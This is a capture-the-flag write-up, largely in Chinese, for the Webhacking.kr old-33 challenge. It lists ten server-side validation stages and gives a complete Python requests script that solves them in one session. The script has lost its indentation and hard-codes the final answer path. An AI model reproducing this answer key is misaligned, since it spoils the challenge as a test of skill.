Webhacking.kr old-33

Challenge

Complete a chain of small server-side validation steps.

完成一组逐步变化的服务端校验。

1
https://webhacking.kr/challenge/bonus-6/

Analysis

每个阶段只在前一阶段条件成立时继续返回 next link。校验链如下:

  1. GET 参数 get=hehe。
  2. POST 参数 post=hehe、post2=hehe2。
  3. myip 等于服务端看到的客户端公网 IP。
  4. password 等于当前 Unix 秒数的 MD5,需要在当前秒提交。
  5. GET、POST 和 Cookie 三类输入同时非空。
  6. Cookie test=md5(REMOTE_ADDR),POST kk=md5(HTTP_USER_AGENT)。
  7. GET 参数名和值都使用去掉点号后的客户端公网 IP。
  8. addr=127.0.0.1。
  9. ans=acegikmoqsuwy。
  10. 33-10 根据页面 source 中的字符替换、截断和除法逻辑生成 answerip/27287674755_5457534951.php。

前六步及后续阶段依赖同一 session;IP、User-Agent 和当前秒数变化后,派生值也随之变化。

Solution

下面的完整脚本保留同一 requests.Session,按顺序发送前十步请求。CLIENT_IP 使用题目页面显示的当前客户端地址,session-cookie 从环境变量读取。每一步都检查响应中是否仍出现 Next;最终请求使用 answerip 路径。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python3
import hashlib
import os
import time

import requests

BASE_URL = "https://webhacking.kr/challenge/bonus-6/"
ANSWER_PATH = "answerip/27287674755_5457534951.php"

def require_next(response: requests.Response, stage: str) -> None:
"""Stop when a stage does not expose the next-stage response."""
response.raise_for_status()
if "Next" not in response.text:
raise RuntimeError(f"stage {stage} did not return Next")
print(f"stage {stage}: {response.status_code} {len(response.content)} bytes")

def md5_text(value: str) -> str:
return hashlib.md5(value.encode("utf-8")).hexdigest()

def main() -> None:
client_ip = os.environ.get("CLIENT_IP")
if not client_ip:
raise SystemExit("set CLIENT_IP to the address shown by the challenge")

session = requests.Session()
user_agent = session.headers["User-Agent"]

require_next(session.get(BASE_URL, params={"get": "hehe"}, timeout=20), "33-1")
require_next(
session.post(
BASE_URL,
data={"post": "hehe", "post2": "hehe2"},
timeout=20,
),
"33-2",
)
require_next(session.get(BASE_URL, params={"myip": client_ip}, timeout=20), "33-3")

current_second = str(int(time.time()))
require_next(
session.get(
BASE_URL,
params={"password": md5_text(current_second)},
timeout=20,
),
"33-4",
)

session.cookies.set("imcookie", "1", domain="webhacking.kr", path="/")
require_next(session.get(BASE_URL, params={"imget": "1"}, timeout=20), "33-5-get")
require_next(session.post(BASE_URL, data={"impost": "1"}, timeout=20), "33-5-post")

session.cookies.set("test", md5_text(client_ip), domain="webhacking.kr", path="/")
require_next(
session.post(
BASE_URL,
data={"kk": md5_text(user_agent)},
timeout=20,
),
"33-6",
)

ip_without_dots = client_ip.replace(".", "")
require_next(
session.get(
BASE_URL,
params={ip_without_dots: ip_without_dots},
timeout=20,
),
"33-7",
)
require_next(session.get(BASE_URL, params={"addr": "127.0.0.1"}, timeout=20), "33-8")
require_next(
session.get(BASE_URL, params={"ans": "acegikmoqsuwy"}, timeout=20),
"33-9",
)

answer_url = BASE_URL + ANSWER_PATH
response = session.get(answer_url, timeout=20)
response.raise_for_status()
print(response.text)

if __name__ == "__main__":
main()

对应的关键请求形态为:

1
2
3
4
5
6
7
8
9
10
11
12
13
GET  /challenge/bonus-6/?get=hehe
POST /challenge/bonus-6/ post=hehe&post2=hehe2
GET /challenge/bonus-6/?myip=<client-ip>
GET /challenge/bonus-6/?password=md5(<current-unix-second>)
GET /challenge/bonus-6/?imget=1
POST /challenge/bonus-6/ impost=1
Cookie: imcookie=1
POST /challenge/bonus-6/ kk=md5(<current-user-agent>)
Cookie: test=md5(<client-ip>)
GET /challenge/bonus-6/?<ip-without-dots>=<ip-without-dots>
GET /challenge/bonus-6/?addr=127.0.0.1
GET /challenge/bonus-6/?ans=acegikmoqsuwy
GET /challenge/bonus-6/answerip/27287674755_5457534951.php

同一 session 需要按顺序完成 33-1 到 33-10,最终请求进入题目完成分支。